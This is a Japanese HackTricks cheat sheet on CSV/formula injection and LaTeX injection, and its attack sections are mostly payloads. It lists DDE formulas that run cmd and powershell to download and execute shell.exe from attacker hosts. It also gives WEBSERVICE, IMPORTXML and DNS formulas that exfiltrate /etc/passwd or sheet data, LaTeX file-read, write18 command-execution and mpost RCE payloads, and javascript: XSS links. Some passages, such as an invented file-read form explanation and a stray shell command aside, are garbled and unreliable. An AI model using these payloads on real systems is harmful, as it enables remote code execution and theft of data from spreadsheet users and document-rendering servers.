20 KiB
フォーミュラ/CSV/ドキュメント/LaTeXインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
フォーミュラインジェクション
情報
もし、入力がCSVファイル(またはExcelで開かれる可能性のある他のファイル)に反映されている場合、Excelシート内でユーザーがファイルを開くか、Excelシート内のリンクをクリックすると、Excel フォーミュラを実行することができるかもしれません。
{% hint style="danger" %} 現在、Excelは外部からの読み込み時にユーザーに警告を表示します(何度も)。これは、悪意のある行動を防ぐためです。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。 {% endhint %}
ワードリスト
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
ハイパーリンク
次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に便利です。ただし、リンクをクリックする必要があります(および警告プロンプトを受け入れる必要があります)。
例はhttps://payatu.com/csv-injection-basic-to-exploitから取得されました。
学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師を侵害したいと考えています。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。
攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。
教師がCSVをエクスポートし、ハイパーリンクをクリックすると、機密データが攻撃者のサーバーに送信されます。
エクスポートされたCSVファイルには、悪意のあるペイロードが含まれています。
攻撃者のWebサーバーには、学生の詳細がログインされています。
RCE
この例が動作するには、次の設定を有効にする必要があります:
ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → ダイナミックデータ交換サーバーランチを有効にする
または、古いバージョンのExcelを使用します。
良いニュースは、このペイロードはファイルが開かれると自動的に実行されることです(ユーザーが警告を受け入れる場合)。
次のペイロードで電卓を実行することが可能です =cmd|' /C calc'!xxx
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LFI
LibreOffice Calc
- ローカルの/etc/passwdファイルから1行目を読み取ります:
='file:///etc/passwd'#$passwd.A1
- エクスフィルトします:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
- 複数の行をエクスフィルトします:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNSエクスフィルト:
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))
DNSエクスフィルトペイロードの解析:
- ‘file:///etc/passwd’#$passwd.A19 – ローカルの/etc/passwdファイルから19行目を読み取ります
- ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – 返されたデータをURLエンコードします
- MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – サブストリングに似ていますが、1文字目から41文字目までのデータを読み取ります。これはDNSホスト名の長さを制限する非常に便利な方法です(FQDNの文字数制限は254文字であり、ラベル(サブドメイン)の文字数制限は63文字です)
- SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – %(URLエンコードの特殊文字)のすべてのインスタンスをダッシュに置き換えます。これにより、有効なDNS文字のみが使用されることが保証されます
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – ファイルからの出力(上記の処理が行われた後)をFQDNと連結します(ドメインの権限を持つホストにアクセスできる)
- WEBSERVICE – この存在しないDNS名に対してリクエストを行い、その後、DNSの権威名サーバー上のログを解析したり(またはtcpdumpなどを実行したり)します。このサーバーは私たちが制御しています
Google Sheets OOBデータエクスフィルト
まず、いくつかの興味深い関数を紹介しましょう。
CONCATENATE: 文字列を連結します。
=CONCATENATE(A2:E2)
IMPORTXML: XML、HTML、CSV、TSV、RSS、ATOM XMLフィードなど、さまざまな構造化データタイプからデータをインポートします。
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: RSSまたはATOMフィードをインポートします。
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: HTMLページ内のテーブルやリストからデータをインポートします。
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: 指定されたスプレッドシートからセルの範囲をインポートします。
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
画像: セルに画像を挿入します。
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
LaTeXインジェクション
通常、インターネット上で見つけることができるLaTeXコードをPDFに変換するサーバーは、**pdflatex
**を使用しています。
このプログラムは、コマンドの実行を(無効に)許可するために3つの主要な属性を使用します:
--no-shell-escape
:\write18{command}
構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。--shell-restricted
:--shell-escape
と同じですが、'安全な'事前定義のコマンドのセットに制限されます(Ubuntu 16.04では、リストは/usr/share/texmf/web2c/texmf.cnf
にあります)。--shell-escape
:\write18{command}
構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。
ただし、コマンドを実行するための他の方法もありますので、RCEを回避するためには--shell-restricted
を使用することが非常に重要です。
ファイルの読み取り
[や$などのラッパーを使用してインジェクションを調整する必要がある場合があります。
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
1行のファイルを読む
<form action="/read-file" method="POST">
<input type="text" name="file" value="/etc/passwd">
<input type="submit" value="Read File">
</form>
このフォームは、指定されたファイルを読み取るために使用されます。action
属性は、フォームが送信されたときにデータを送信するURLを指定します。method
属性は、データの送信方法を指定します(この場合はPOST)。input
要素のname
属性は、送信されるデータの名前を指定します。value
属性は、デフォルトのファイルパスを指定します。
攻撃者は、このフォームを使用して、/etc/passwd
ファイルなどの機密情報を読み取ることができます。攻撃者は、file
パラメータに悪意のある入力を提供することで、ファイルのパスを変更できます。これにより、攻撃者はシステム上の他のファイルを読み取ることができます。
この脆弱性を悪用するために、攻撃者はfile
パラメータに次のような入力を提供します。
/etc/passwd
攻撃者がこの入力を送信すると、サーバーは/etc/passwd
ファイルを読み取り、その内容を返します。攻撃者は、この情報を使用して、システム上のユーザー名やパスワードなどの機密情報を取得することができます。
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
複数行のファイルを読む
To read a file that contains multiple lines, you can use the following command:
複数行を含むファイルを読むには、次のコマンドを使用します。
cat filename
Replace filename
with the name of the file you want to read.
filename
の部分を読みたいファイルの名前に置き換えてください。
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
ファイルの書き込み
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
コマンドの実行
コマンドの入力はstdinにリダイレクトされます。それを取得するために一時ファイルを使用します。
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
もしLaTexのエラーが発生した場合は、ベース64を使用して悪意のある文字を含まない結果を得ることを検討してください。
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
クロスサイトスクリプティング
@EdOverflowからの情報です。
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
参考文献
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。無料でお試しください。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。